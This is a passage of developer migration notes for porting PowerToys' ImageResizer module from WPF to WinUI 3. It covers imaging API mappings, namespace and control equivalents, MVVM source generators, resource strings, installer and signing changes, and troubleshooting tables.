| Pixel dimension type mismatch (`int` vs `uint`) | WinRT uses `uint` for pixel sizes — add `u` suffix in test assertions |
| `$(SolutionDir)` empty in standalone project build | Use `$(MSBuildThisFileDirectory)` with relative paths instead |
| JPEG quality value wrong after migration | WPF: int 1-100; WinRT: float 0.0-1.0 |
| MSIX packaging fails in PreBuildEvent | Move to PostBuildEvent; artifacts not ready at PreBuild time |
| RC file icon path with forward slashes | Use double-backslash escaping: `..\\ui\\Assets\\icon.ico` |
## Troubleshooting
| Issue | Solution |
|-------|----------|
| Build fails after namespace rename | Check for lingering `System.Windows` usings; some types have no direct equivalent |
| Missing `PresentationCore.dll` at runtime | Ensure ALL imaging code uses `Windows.Graphics.Imaging`, not `System.Windows.Media.Imaging` |
| `DataContext` not working on Window | WinUI 3 `Window` is not a `DependencyObject`; use a root `Page` or `UserControl` |
| XAML designer not available | WinUI 3 does not support XAML Designer; use Hot Reload instead |
| NuGet restore failures | Run `build-essentials.cmd` after adding `Microsoft.WindowsAppSDK` package |
| `Parallel.ForEach` compilation error | Migrate to `Parallel.ForEachAsync` for async imaging operations |
| Signing check fails on leaked artifacts | Run `generateAllFileComponents.ps1`; verify only `WinUI3Apps\\` paths in signing config |

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# Imaging API Migration
Migrating from WPF (`System.Windows.Media.Imaging` / `PresentationCore.dll`) to WinRT (`Windows.Graphics.Imaging`). Based on the ImageResizer migration.
## Why This Migration Is Required
WinUI 3 apps deployed as self-contained do NOT include `PresentationCore.dll`. Any code using `System.Windows.Media.Imaging` will throw `FileNotFoundException` at runtime. ALL imaging code must use WinRT APIs.
| Purpose | Namespace |
|---------|-----------|
| UI display (`Image.Source`) | `Microsoft.UI.Xaml.Media.Imaging` |
| Image processing (encode/decode/transform) | `Windows.Graphics.Imaging` |
## Architecture Change: Pipeline vs Declarative
The fundamental architecture differs:
**WPF**: In-memory pipeline of bitmap objects. Decode → transform → encode synchronously.
```csharp
var decoder = BitmapDecoder.Create(stream, ...);
var transform = new TransformedBitmap(decoder.Frames[0], new ScaleTransform(...));
var encoder = new JpegBitmapEncoder();
encoder.Frames.Add(BitmapFrame.Create(transform, ...));
encoder.Save(outputStream);
```
**WinRT**: Declarative transform model. Configure transforms on the encoder, which handles pixel manipulation internally. All async.
```csharp
var decoder = await BitmapDecoder.CreateAsync(winrtStream);
var encoder = await BitmapEncoder.CreateForTranscodingAsync(outputStream, decoder);
encoder.BitmapTransform.ScaledWidth = newWidth;
encoder.BitmapTransform.ScaledHeight = newHeight;
encoder.BitmapTransform.InterpolationMode = BitmapInterpolationMode.Fant;
await encoder.FlushAsync();
```
## Core Type Mapping
### Decoders
| WPF | WinRT | Notes |
|-----|-------|-------|
| `BitmapDecoder.Create(stream, options, cache)` | `BitmapDecoder.CreateAsync(stream)` | Async, auto-detects format |
| `JpegBitmapDecoder` / `PngBitmapDecoder` / etc. | `BitmapDecoder.CreateAsync(stream)` | Single unified decoder |
| `decoder.Frames[0]` | `await decoder.GetFrameAsync(0)` | Async frame access |
| `decoder.Frames.Count` | `decoder.FrameCount` (uint) | `int``uint` |
| `decoder.CodecInfo.ContainerFormat` | `decoder.DecoderInformation.CodecId` | Different property path |
| `decoder.Frames[0].PixelWidth` (int) | `decoder.PixelWidth` (uint) | `int``uint` |
| `WmpBitmapDecoder` | Not available | WMP/HDP not supported |
### Encoders
| WPF | WinRT | Notes |
|-----|-------|-------|
| `new JpegBitmapEncoder()` | `BitmapEncoder.CreateAsync(BitmapEncoder.JpegEncoderId, stream)` | Async factory |
| `new PngBitmapEncoder()` | `BitmapEncoder.CreateAsync(BitmapEncoder.PngEncoderId, stream)` | No interlace control |
| `encoder.Frames.Add(frame)` | `encoder.SetSoftwareBitmap(bitmap)` | Different API |
| `encoder.Save(stream)` | `await encoder.FlushAsync()` | Async |
### Encoder Properties (Strongly-Typed → BitmapPropertySet)
WPF had type-specific encoder subclasses. WinRT uses a generic property set:
```csharp
// WPF
case JpegBitmapEncoder jpeg: jpeg.QualityLevel = 85; // int 1-100
case PngBitmapEncoder png: png.Interlace = PngInterlaceOption.On;
case TiffBitmapEncoder tiff: tiff.Compression = TiffCompressOption.Lzw;
// WinRT — JPEG quality (float 0.0-1.0)
await encoder.BitmapProperties.SetPropertiesAsync(new BitmapPropertySet
{
{ "ImageQuality", new BitmapTypedValue(0.85f, PropertyType.Single) }
});
// WinRT — TIFF compression (via BitmapPropertySet at creation time)
var props = new BitmapPropertySet
{
{ "TiffCompressionMethod", new BitmapTypedValue((byte)2, PropertyType.UInt8) }
};
var encoder = await BitmapEncoder.CreateAsync(BitmapEncoder.TiffEncoderId, stream, props);
```
**JPEG quality scale change**: WPF int `1-100` → WinRT float `0.0-1.0`. Divide by 100.
### Bitmap Types
| WPF | WinRT | Notes |
|-----|-------|-------|
| `BitmapSource` | `SoftwareBitmap` | Central pixel-data type |
| `BitmapImage` | `BitmapImage` (in `Microsoft.UI.Xaml.Media.Imaging`) | UI display only |
| `FormatConvertedBitmap` | `SoftwareBitmap.Convert()` | |
| `TransformedBitmap` + `ScaleTransform` | `BitmapTransform` via encoder | Declarative |
| `CroppedBitmap` | `BitmapTransform.Bounds` | |
### Metadata
| WPF | WinRT | Notes |
|-----|-------|-------|
| `BitmapMetadata` | `BitmapProperties` | Different API surface |
| `BitmapMetadata.Clone()` | No equivalent | Cannot selectively clone |
| Selective metadata removal | Not supported | All-or-nothing only |
**Two encoder creation strategies for metadata:**
- `CreateForTranscodingAsync()` — preserves ALL metadata from source
- `CreateAsync()` — creates fresh encoder with NO metadata
This eliminated ~258 lines of manual metadata manipulation code (`BitmapMetadataExtension.cs`) in ImageResizer.
### Interpolation Modes
| WPF `BitmapScalingMode` | WinRT `BitmapInterpolationMode` |
|------------------------|-------------------------------|
| `HighQuality` / `Fant` | `Fant` |
| `Linear` | `Linear` |
| `NearestNeighbor` | `NearestNeighbor` |
| `Unspecified` / `LowQuality` | `Linear` |
## Stream Interop
WinRT imaging requires `IRandomAccessStream` instead of `System.IO.Stream`:
```csharp
using var stream = File.OpenRead(path);
var winrtStream = stream.AsRandomAccessStream(); // Extension method
var decoder = await BitmapDecoder.CreateAsync(winrtStream);
```
**Critical**: For transcode, seek the input stream back to 0 before creating the encoder:
```csharp
winrtStream.Seek(0);
var encoder = await BitmapEncoder.CreateForTranscodingAsync(outputStream, decoder);
```
## CodecHelper Pattern (from ImageResizer)
WPF stored container format GUIDs in `settings.json`. WinRT uses different codec IDs. Create a `CodecHelper` to bridge them:
```csharp
internal static class CodecHelper
{
// Maps WPF container format GUIDs (stored in settings JSON) to WinRT encoder IDs
private static readonly Dictionary<Guid, Guid> LegacyGuidToEncoderId = new()
{
[new Guid("19e4a5aa-5662-4fc5-a0c0-1758028e1057")] = BitmapEncoder.JpegEncoderId,
[new Guid("1b7cfaf4-713f-473c-bbcd-6137425faeaf")] = BitmapEncoder.PngEncoderId,
[new Guid("0af1d87e-fcfe-4188-bdeb-a7906471cbe3")] = BitmapEncoder.BmpEncoderId,
[new Guid("163bcc30-e2e9-4f0b-961d-a3e9fdb788a3")] = BitmapEncoder.TiffEncoderId,
[new Guid("1f8a5601-7d4d-4cbd-9c82-1bc8d4eeb9a5")] = BitmapEncoder.GifEncoderId,
};
// Maps decoder IDs to corresponding encoder IDs
private static readonly Dictionary<Guid, Guid> DecoderIdToEncoderId = new()
{
[BitmapDecoder.JpegDecoderId] = BitmapEncoder.JpegEncoderId,
[BitmapDecoder.PngDecoderId] = BitmapEncoder.PngEncoderId,
// ...
};
public static Guid GetEncoderIdFromLegacyGuid(Guid legacyGuid)
=> LegacyGuidToEncoderId.GetValueOrDefault(legacyGuid, Guid.Empty);
public static Guid GetEncoderIdForDecoder(BitmapDecoder decoder)
=> DecoderIdToEncoderId.GetValueOrDefault(decoder.DecoderInformation.CodecId, Guid.Empty);
}
```
This preserves backward compatibility with existing `settings.json` files that contain WPF-era GUIDs.
## ImagingEnums Pattern (from ImageResizer)
WPF-specific enums (`PngInterlaceOption`, `TiffCompressOption`) from `System.Windows.Media.Imaging` are used in settings JSON. Create custom enums with identical integer values for backward-compatible deserialization:
```csharp
// Replace System.Windows.Media.Imaging.PngInterlaceOption
public enum PngInterlaceOption { Default = 0, On = 1, Off = 2 }
// Replace System.Windows.Media.Imaging.TiffCompressOption
public enum TiffCompressOption { Default = 0, None = 1, Ccitt3 = 2, Ccitt4 = 3, Lzw = 4, Rle = 5, Zip = 6 }
```
## Async Migration Patterns
### Method Signatures
All imaging operations become async:
| Before | After |
|--------|-------|
| `void Execute(file, settings)` | `async Task ExecuteAsync(file, settings)` |
| `IEnumerable<Error> Process()` | `async Task<IEnumerable<Error>> ProcessAsync()` |
### Parallel Processing
```csharp
// WPF (synchronous)
Parallel.ForEach(Files, new ParallelOptions { MaxDegreeOfParallelism = ... },
(file, state, i) => { Execute(file, settings); });
// WinRT (async)
await Parallel.ForEachAsync(Files, new ParallelOptions { MaxDegreeOfParallelism = ... },
async (file, ct) => { await ExecuteAsync(file, settings); });
```
### CLI Async Bridge
CLI entry points must bridge async to sync:
```csharp
return RunSilentModeAsync(cliOptions).GetAwaiter().GetResult();
```
### Task.Factory.StartNew → Task.Run
```csharp
// WPF
_ = Task.Factory.StartNew(StartExecutingWork, token, TaskCreationOptions.LongRunning, TaskScheduler.Default);
// WinUI 3
_ = Task.Run(() => StartExecutingWorkAsync());
```
## SoftwareBitmap as Interface Type
When modules expose imaging interfaces (e.g., AI super-resolution), change parameter/return types:
```csharp
// WPF
BitmapSource ApplySuperResolution(BitmapSource source, int scale, string filePath);
// WinRT
SoftwareBitmap ApplySuperResolution(SoftwareBitmap source, int scale, string filePath);
```
This eliminates manual `BitmapSource ↔ SoftwareBitmap` conversion code (unsafe `IMemoryBufferByteAccess` COM interop).
## MultiFrame Image Handling
```csharp
// WinRT multi-frame encode (e.g., multi-page TIFF, animated GIF)
for (uint i = 0; i < decoder.FrameCount; i++)
{
if (i > 0)
await encoder.GoToNextFrameAsync();
var frame = await decoder.GetFrameAsync(i);
var bitmap = await frame.GetSoftwareBitmapAsync(
frame.BitmapPixelFormat,
BitmapAlphaMode.Premultiplied,
transform,
ExifOrientationMode.IgnoreExifOrientation,
ColorManagementMode.DoNotColorManage);
encoder.SetSoftwareBitmap(bitmap);
}
await encoder.FlushAsync();
```
## int → uint for Pixel Dimensions
WinRT uses `uint` for all pixel dimensions. This affects:
- `decoder.PixelWidth` / `decoder.PixelHeight``uint`
- `BitmapTransform.ScaledWidth` / `ScaledHeight``uint`
- `SoftwareBitmap` constructor — `uint` parameters
- Test assertions: `Assert.AreEqual(96, ...)``Assert.AreEqual(96u, ...)`
## Display SoftwareBitmap in UI
```csharp
var source = new SoftwareBitmapSource();
// Must convert to Bgra8/Premultiplied for display
if (bitmap.BitmapPixelFormat != BitmapPixelFormat.Bgra8 ||
bitmap.BitmapAlphaMode != BitmapAlphaMode.Premultiplied)
{
bitmap = SoftwareBitmap.Convert(bitmap, BitmapPixelFormat.Bgra8, BitmapAlphaMode.Premultiplied);
}
await source.SetBitmapAsync(bitmap);
myImage.Source = source;
```
## Known Limitations
| Feature | WPF | WinRT | Impact |
|---------|-----|-------|--------|
| PNG interlace | `PngBitmapEncoder.Interlace` | Not available | Always non-interlaced |
| Metadata stripping | Selective via `BitmapMetadata.Clone()` | All-or-nothing | Orientation EXIF also removed |
| Pixel formats | Many (`Pbgra32`, `Bgr24`, `Indexed8`, ...) | Primarily `Bgra8`, `Rgba8`, `Gray8/16` | Convert to `Bgra8` |
| WMP/HDP format | `WmpBitmapDecoder` | Not available | Not supported |
| Pixel differences | WPF scaler | `BitmapInterpolationMode.Fant` | Not bit-identical |

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# Namespace and API Mapping Reference
Complete reference for mapping WPF types to WinUI 3 equivalents, based on the ImageResizer migration.
## Root Namespace Mapping
| WPF Namespace | WinUI 3 Namespace |
|---------------|-------------------|
| `System.Windows` | `Microsoft.UI.Xaml` |
| `System.Windows.Automation` | `Microsoft.UI.Xaml.Automation` |
| `System.Windows.Automation.Peers` | `Microsoft.UI.Xaml.Automation.Peers` |
| `System.Windows.Controls` | `Microsoft.UI.Xaml.Controls` |
| `System.Windows.Controls.Primitives` | `Microsoft.UI.Xaml.Controls.Primitives` |
| `System.Windows.Data` | `Microsoft.UI.Xaml.Data` |
| `System.Windows.Documents` | `Microsoft.UI.Xaml.Documents` |
| `System.Windows.Input` | `Microsoft.UI.Xaml.Input` |
| `System.Windows.Markup` | `Microsoft.UI.Xaml.Markup` |
| `System.Windows.Media` | `Microsoft.UI.Xaml.Media` |
| `System.Windows.Media.Animation` | `Microsoft.UI.Xaml.Media.Animation` |
| `System.Windows.Media.Imaging` | `Microsoft.UI.Xaml.Media.Imaging` |
| `System.Windows.Navigation` | `Microsoft.UI.Xaml.Navigation` |
| `System.Windows.Shapes` | `Microsoft.UI.Xaml.Shapes` |
| `System.Windows.Threading` | `Microsoft.UI.Dispatching` |
| `System.Windows.Interop` | `WinRT.Interop` |
## Core Type Mapping
| WPF Type | WinUI 3 Type |
|----------|-------------|
| `System.Windows.Application` | `Microsoft.UI.Xaml.Application` |
| `System.Windows.Window` | `Microsoft.UI.Xaml.Window` (NOT a DependencyObject) |
| `System.Windows.DependencyObject` | `Microsoft.UI.Xaml.DependencyObject` |
| `System.Windows.DependencyProperty` | `Microsoft.UI.Xaml.DependencyProperty` |
| `System.Windows.FrameworkElement` | `Microsoft.UI.Xaml.FrameworkElement` |
| `System.Windows.UIElement` | `Microsoft.UI.Xaml.UIElement` |
| `System.Windows.Visibility` | `Microsoft.UI.Xaml.Visibility` |
| `System.Windows.Thickness` | `Microsoft.UI.Xaml.Thickness` |
| `System.Windows.CornerRadius` | `Microsoft.UI.Xaml.CornerRadius` |
| `System.Windows.Media.Color` | `Windows.UI.Color` (note: `Windows.UI`, not `Microsoft.UI`) |
| `System.Windows.Media.Colors` | `Microsoft.UI.Colors` |
## Controls Mapping
### Direct Mapping (namespace-only change)
These controls exist in both frameworks with the same name — change `System.Windows.Controls` to `Microsoft.UI.Xaml.Controls`:
`Button`, `TextBox`, `TextBlock`, `ComboBox`, `CheckBox`, `ListBox`, `ListView`, `Image`, `StackPanel`, `Grid`, `Border`, `ScrollViewer`, `ContentControl`, `UserControl`, `Page`, `Frame`, `Slider`, `ProgressBar`, `ToolTip`, `RadioButton`, `ToggleButton`
### Controls With Different Names or Behavior
| WPF | WinUI 3 | Notes |
|-----|---------|-------|
| `MessageBox` | `ContentDialog` | Must set `XamlRoot` before `ShowAsync()` |
| `ContextMenu` | `MenuFlyout` | Different API surface |
| `TabControl` | `TabView` | Different API |
| `Menu` | `MenuBar` | Different API |
| `StatusBar` | Custom `StackPanel` layout | No built-in equivalent |
| `AccessText` | Not available | Use `AccessKey` property on target control |
### WPF-UI (Lepo) to Native WinUI 3
ImageResizer used the `WPF-UI` library (Lepo) for Fluent styling. These must be replaced with native WinUI 3 equivalents:
| WPF-UI (Lepo) | WinUI 3 Native | Notes |
|----------------|---------------|-------|
| `<ui:FluentWindow>` | `<Window>` | Native window + `ExtendsContentIntoTitleBar` |
| `<ui:Button>` | `<Button>` | Native button |
| `<ui:NumberBox>` | `<NumberBox>` | Built into WinUI 3 |
| `<ui:ProgressRing>` | `<ProgressRing>` | Built into WinUI 3 |
| `<ui:SymbolIcon>` | `<SymbolIcon>` or `<FontIcon>` | Built into WinUI 3 |
| `<ui:InfoBar>` | `<InfoBar>` | Built into WinUI 3 |
| `<ui:TitleBar>` | Custom title bar via `SetTitleBar()` | Use `ExtendsContentIntoTitleBar` |
| `<ui:ThemesDictionary>` | `<XamlControlsResources>` | In merged dictionaries |
| `<ui:ControlsDictionary>` | Remove | Not needed — WinUI 3 has its own control styles |
| `BasedOn="{StaticResource {x:Type ui:Button}}"` | `BasedOn="{StaticResource DefaultButtonStyle}"` | Named style keys |
## Input Event Mapping
| WPF Event | WinUI 3 Event | Notes |
|-----------|--------------|-------|
| `MouseLeftButtonDown` | `PointerPressed` | Check `IsLeftButtonPressed` on args |
| `MouseLeftButtonUp` | `PointerReleased` | Check pointer properties |
| `MouseRightButtonDown` | `RightTapped` | Or `PointerPressed` with right button check |
| `MouseMove` | `PointerMoved` | Uses `PointerRoutedEventArgs` |
| `MouseWheel` | `PointerWheelChanged` | Different event args |
| `MouseEnter` | `PointerEntered` | |
| `MouseLeave` | `PointerExited` | |
| `MouseDoubleClick` | `DoubleTapped` | Different event args |
| `KeyDown` | `KeyDown` | Same name, args type: `KeyRoutedEventArgs` |
| `PreviewKeyDown` | No direct equivalent | Use `KeyDown` with handled pattern |
## IValueConverter Signature Change
| WPF | WinUI 3 |
|-----|---------|
| `Convert(object value, Type targetType, object parameter, CultureInfo culture)` | `Convert(object value, Type targetType, object parameter, string language)` |
| `ConvertBack(object value, Type targetType, object parameter, CultureInfo culture)` | `ConvertBack(object value, Type targetType, object parameter, string language)` |
Last parameter changes from `CultureInfo` to `string` (BCP-47 language tag). All converter classes must be updated.
## Types That Moved to Different Hierarchies
| WPF | WinUI 3 | Notes |
|-----|---------|-------|
| `System.Windows.Threading.Dispatcher` | `Microsoft.UI.Dispatching.DispatcherQueue` | Completely different API |
| `System.Windows.Threading.DispatcherPriority` | `Microsoft.UI.Dispatching.DispatcherQueuePriority` | Only 3 levels: High/Normal/Low |
| `System.Windows.Interop.HwndSource` | `WinRT.Interop.WindowNative` | For HWND interop |
| `System.Windows.Interop.WindowInteropHelper` | `WinRT.Interop.WindowNative.GetWindowHandle()` | |
| `System.Windows.SystemColors` | Resource keys via `ThemeResource` | No direct static class |
| `System.Windows.SystemParameters` | Win32 API or `DisplayInformation` | No direct equivalent |
## NuGet Package Migration
| WPF | WinUI 3 | Notes |
|-----|---------|-------|
| Built into .NET (no NuGet needed) | `Microsoft.WindowsAppSDK` | Required |
| `PresentationCore` / `PresentationFramework` | `Microsoft.WinUI` (transitive) | |
| `Microsoft.Xaml.Behaviors.Wpf` | `Microsoft.Xaml.Behaviors.WinUI.Managed` | |
| `WPF-UI` (Lepo) | **Remove** — use native WinUI 3 controls | |
| `CommunityToolkit.Mvvm` | `CommunityToolkit.Mvvm` (same) | |
| `Microsoft.Toolkit.Wpf.*` | `CommunityToolkit.WinUI.*` | |
| (none) | `Microsoft.Windows.SDK.BuildTools` | Required |
| (none) | `WinUIEx` | Optional, window helpers |
| (none) | `CommunityToolkit.WinUI.Converters` | Optional |
| (none) | `CommunityToolkit.WinUI.Extensions` | Optional |
| (none) | `Microsoft.Web.WebView2` | If using WebView |
## Project File Changes
### WPF .csproj
```xml
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>WinExe</OutputType>
<TargetFramework>net8.0-windows</TargetFramework>
<UseWPF>true</UseWPF>
<ApplicationManifest>ImageResizerUI.dev.manifest</ApplicationManifest>
<ApplicationIcon>Resources\ImageResizer.ico</ApplicationIcon>
<AppendTargetFrameworkToOutputPath>false</AppendTargetFrameworkToOutputPath>
</PropertyGroup>
</Project>
```
### WinUI 3 .csproj
```xml
<Project Sdk="Microsoft.NET.Sdk">
<PropertyGroup>
<OutputType>WinExe</OutputType>
<TargetFramework>net8.0-windows10.0.19041.0</TargetFramework>
<UseWinUI>true</UseWinUI>
<SelfContained>true</SelfContained>
<WindowsAppSDKSelfContained>true</WindowsAppSDKSelfContained>
<WindowsPackageType>None</WindowsPackageType>
<EnablePreviewMsixTooling>true</EnablePreviewMsixTooling>
<ApplicationManifest>app.manifest</ApplicationManifest>
<ApplicationIcon>Assets\ImageResizer\ImageResizer.ico</ApplicationIcon>
<AppendTargetFrameworkToOutputPath>false</AppendTargetFrameworkToOutputPath>
<DefineConstants>DISABLE_XAML_GENERATED_MAIN,TRACE</DefineConstants>
<ProjectPriFileName>PowerToys.ModuleName.pri</ProjectPriFileName>
</PropertyGroup>
</Project>
```
Key changes:
- `UseWPF``UseWinUI`
- TFM: `net8.0-windows``net8.0-windows10.0.19041.0`
- Add `WindowsPackageType=None` for unpackaged desktop apps
- Add `SelfContained=true` + `WindowsAppSDKSelfContained=true`
- Add `DISABLE_XAML_GENERATED_MAIN` if using custom `Program.cs` entry point
- Set `ProjectPriFileName` to match your module's assembly name
- Move icon from `Resources/` to `Assets/<Module>/`
### XAML ApplicationDefinition Setup
WinUI 3 requires explicit `ApplicationDefinition` declaration:
```xml
<ItemGroup>
<Page Remove="ImageResizerXAML\App.xaml" />
</ItemGroup>
<ItemGroup>
<ApplicationDefinition Include="ImageResizerXAML\App.xaml" />
</ItemGroup>
```
### CsWinRT Interop (for GPO and native references)
If the module references native C++ projects (like `GPOWrapper`):
```xml
<PropertyGroup>
<CsWinRTIncludes>PowerToys.GPOWrapper</CsWinRTIncludes>
<CsWinRTGeneratedFilesDir>$(OutDir)</CsWinRTGeneratedFilesDir>
</PropertyGroup>
```
Change `GPOWrapperProjection.csproj` reference to direct `GPOWrapper.vcxproj` reference.
### InternalsVisibleTo Migration
Move from code file to `.csproj`:
```csharp
// DELETE: Properties/InternalsVisibleTo.cs
// [assembly: InternalsVisibleTo("ImageResizer.Test")]
```
```xml
<!-- ADD to .csproj: -->
<ItemGroup>
<InternalsVisibleTo Include="ImageResizer.Test" />
</ItemGroup>
```
### Items to Remove from .csproj
```xml
<!-- DELETE: WPF resource embedding -->
<EmbeddedResource Update="Properties\Resources.resx">...</EmbeddedResource>
<Resource Include="Resources\ImageResizer.ico" />
<Compile Update="Properties\Resources.Designer.cs">...</Compile>
<FrameworkReference Include="Microsoft.WindowsDesktop.App.WPF" /> <!-- from CLI project -->
```

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# PowerToys-Specific Migration Patterns
Patterns and conventions specific to the PowerToys codebase, based on the ImageResizer migration.
## Project Structure
### Before (WPF Module)
```
src/modules/<module>/
├── <Module>UI/
│ ├── <Module>UI.csproj # OutputType=WinExe, UseWPF=true
│ ├── App.xaml / App.xaml.cs
│ ├── MainWindow.xaml / .cs
│ ├── Views/
│ ├── ViewModels/
│ ├── Helpers/
│ │ ├── Observable.cs # Custom INotifyPropertyChanged
│ │ └── RelayCommand.cs # Custom ICommand
│ ├── Properties/
│ │ ├── Resources.resx # WPF resource strings
│ │ ├── Resources.Designer.cs
│ │ └── InternalsVisibleTo.cs
│ └── Telemetry/
├── <Module>CLI/
│ └── <Module>CLI.csproj # OutputType=Exe
└── tests/
```
### After (WinUI 3 Module)
```
src/modules/<module>/
├── <Module>UI/
│ ├── <Module>UI.csproj # OutputType=WinExe, UseWinUI=true
│ ├── Program.cs # Custom entry point (DISABLE_XAML_GENERATED_MAIN)
│ ├── app.manifest # Single manifest file
│ ├── ImageResizerXAML/
│ │ ├── App.xaml / App.xaml.cs # WinUI 3 App class
│ │ ├── MainWindow.xaml / .cs
│ │ └── Views/
│ ├── Converters/ # WinUI 3 IValueConverter (string language)
│ ├── ViewModels/
│ ├── Helpers/
│ │ └── ResourceLoaderInstance.cs # Static ResourceLoader accessor
│ ├── Utilities/
│ │ └── CodecHelper.cs # WPF→WinRT codec ID mapping (if imaging)
│ ├── Models/
│ │ └── ImagingEnums.cs # Custom enums replacing WPF imaging enums
│ ├── Strings/
│ │ └── en-us/
│ │ └── Resources.resw # WinUI 3 resource strings
│ └── Assets/
│ └── <Module>/
│ └── <Module>.ico # Moved from Resources/
├── <Module>Common/ # NEW: shared library for CLI
│ └── <Module>Common.csproj # OutputType=Library
├── <Module>CLI/
│ └── <Module>CLI.csproj # References Common, NOT UI
└── tests/
```
### Critical: CLI Dependency Pattern
**Do NOT** create `ProjectReference` from Exe to WinExe. This causes phantom build artifacts (`.exe`, `.deps.json`, `.runtimeconfig.json`) in the root output directory.
```
WRONG: ImageResizerCLI (Exe) → ImageResizerUI (WinExe) ← phantom artifacts
CORRECT: ImageResizerCLI (Exe) → ImageResizerCommon (Library)
ImageResizerUI (WinExe) → ImageResizerCommon (Library)
```
Follow the `FancyZonesCLI``FancyZonesEditorCommon` pattern.
### Files to Delete
| File | Reason |
|------|--------|
| `Properties/Resources.resx` | Replaced by `Strings/en-us/Resources.resw` |
| `Properties/Resources.Designer.cs` | Auto-generated; no longer needed |
| `Properties/InternalsVisibleTo.cs` | Moved to `.csproj` `<InternalsVisibleTo>` |
| `Helpers/Observable.cs` | Replaced by `CommunityToolkit.Mvvm.ObservableObject` |
| `Helpers/RelayCommand.cs` | Replaced by `CommunityToolkit.Mvvm.Input` |
| `Resources/*.ico` / `Resources/*.png` | Moved to `Assets/<Module>/` |
| WPF `.dev.manifest` / `.prod.manifest` | Replaced by single `app.manifest` |
| WPF-specific converters | Replaced by WinUI 3 converters with `string language` |
---
## MVVM Migration: Custom → CommunityToolkit.Mvvm Source Generators
### Observable Base Class → ObservableObject + [ObservableProperty]
**Before (custom Observable):**
```csharp
public class ResizeSize : Observable
{
private int _id;
public int Id { get => _id; set => Set(ref _id, value); }
private ResizeFit _fit;
public ResizeFit Fit
{
get => _fit;
set
{
Set(ref _fit, value);
UpdateShowHeight();
}
}
private bool _showHeight = true;
public bool ShowHeight { get => _showHeight; set => Set(ref _showHeight, value); }
private void UpdateShowHeight() { ShowHeight = Fit == ResizeFit.Stretch || Unit != ResizeUnit.Percent; }
}
```
**After (CommunityToolkit.Mvvm source generators):**
```csharp
public partial class ResizeSize : ObservableObject // MUST be partial
{
[ObservableProperty]
[JsonPropertyName("Id")]
private int _id;
[ObservableProperty]
[NotifyPropertyChangedFor(nameof(ShowHeight))] // Replaces manual UpdateShowHeight()
private ResizeFit _fit;
// Computed property — no backing field, no manual update method
public bool ShowHeight => Fit == ResizeFit.Stretch || Unit != ResizeUnit.Percent;
}
```
Key changes:
- Class must be `partial` for source generators
- `Observable``ObservableObject` (from CommunityToolkit.Mvvm)
- Manual `Set(ref _field, value)``[ObservableProperty]` attribute
- `PropertyChanged` dependencies → `[NotifyPropertyChangedFor(nameof(...))]`
- Computed properties with manual `UpdateXxx()` → direct expression body
### Custom Name Setter with Transform
For properties that transform the value before storing:
```csharp
// Cannot use [ObservableProperty] because of value transformation
private string _name;
public string Name
{
get => _name;
set => SetProperty(ref _name, ReplaceTokens(value)); // SetProperty from ObservableObject
}
```
### RelayCommand → [RelayCommand] Source Generator
```csharp
// DELETE: Helpers/RelayCommand.cs (custom ICommand)
// Before
public ICommand ResizeCommand { get; } = new RelayCommand(Execute);
// After
[RelayCommand]
private void Resize() { /* ... */ }
// Source generator creates ResizeCommand property automatically
```
---
## Resource String Migration (.resx → .resw)
### ResourceLoaderInstance Helper
```csharp
internal static class ResourceLoaderInstance
{
internal static ResourceLoader ResourceLoader { get; private set; }
static ResourceLoaderInstance()
{
ResourceLoader = new ResourceLoader("PowerToys.ImageResizer.pri");
}
}
```
**Note**: Use the single-argument `ResourceLoader` constructor. The two-argument version (`ResourceLoader("file.pri", "path/Resources")`) may fail if the resource map path doesn't match the actual PRI structure.
### Usage
```csharp
// WPF
using ImageResizer.Properties;
string text = Resources.MyStringKey;
// WinUI 3
string text = ResourceLoaderInstance.ResourceLoader.GetString("MyStringKey");
```
### Lazy Initialization for Resource-Dependent Statics
`ResourceLoader` is not available at class-load time in all contexts (CLI mode, test harness). Use lazy initialization:
**Before (crashes at class load):**
```csharp
private static readonly CompositeFormat _format =
CompositeFormat.Parse(Resources.Error_Format);
private static readonly Dictionary<string, string> _tokens = new()
{
["$small$"] = Resources.Small,
["$medium$"] = Resources.Medium,
};
```
**After (lazy, safe):**
```csharp
private static CompositeFormat _format;
private static CompositeFormat Format => _format ??=
CompositeFormat.Parse(ResourceLoaderInstance.ResourceLoader.GetString("Error_Format"));
private static readonly Lazy<Dictionary<string, string>> _tokens = new(() =>
new Dictionary<string, string>
{
["$small$"] = ResourceLoaderInstance.ResourceLoader.GetString("Small"),
["$medium$"] = ResourceLoaderInstance.ResourceLoader.GetString("Medium"),
});
// Usage: _tokens.Value.TryGetValue(...)
```
### XAML: x:Static → x:Uid
```xml
<!-- WPF -->
<Button Content="{x:Static p:Resources.Cancel}" />
<!-- WinUI 3 -->
<Button x:Uid="Cancel" />
```
In `.resw`, use property-suffixed keys: `Cancel.Content`, `Header.Text`, etc.
---
## CLI Options Migration
`System.CommandLine.Option<T>` constructor signature changed:
```csharp
// WPF era — string[] aliases
public DestinationOption()
: base(_aliases, Properties.Resources.CLI_Option_Destination)
// WinUI 3 — single string name
public DestinationOption()
: base(_aliases[0], ResourceLoaderInstance.ResourceLoader.GetString("CLI_Option_Destination"))
```
---
## Installer Updates
### WiX Changes
#### 1. Remove Satellite Assembly References
Remove from `installer/PowerToysSetupVNext/Resources.wxs`:
- `<Component>` entries for `<Module>.resources.dll`
- `<RemoveFolder>` entries for locale directories
- Module from `WinUI3AppsInstallFolder` `ParentDirectory` loop
#### 2. Update File Component Generation
Run `generateAllFileComponents.ps1` after migration. For Exe→WinExe dependency issues, add cleanup logic:
```powershell
# Strip phantom ImageResizer files from BaseApplications.wxs
$content = $content -replace 'PowerToys\.ImageResizer\.exe', ''
$content = $content -replace 'PowerToys\.ImageResizer\.deps\.json', ''
$content = $content -replace 'PowerToys\.ImageResizer\.runtimeconfig\.json', ''
```
#### 3. Output Directory
WinUI 3 modules output to `WinUI3Apps/`:
```xml
<OutputPath>..\..\..\..\$(Platform)\$(Configuration)\WinUI3Apps\</OutputPath>
```
### ESRP Signing
Update `.pipelines/ESRPSigning_core.json` — all module binaries must use `WinUI3Apps\\` paths:
```json
{
"FileList": [
"WinUI3Apps\\PowerToys.ImageResizer.exe",
"WinUI3Apps\\PowerToys.ImageResizerExt.dll",
"WinUI3Apps\\PowerToys.ImageResizerContextMenu.dll"
]
}
```
---
## Build Pipeline Fixes
### $(SolutionDir) → $(MSBuildThisFileDirectory)
`$(SolutionDir)` is empty when building individual projects outside the solution. Replace with relative paths from the project file:
```xml
<!-- Before (breaks on standalone project build) -->
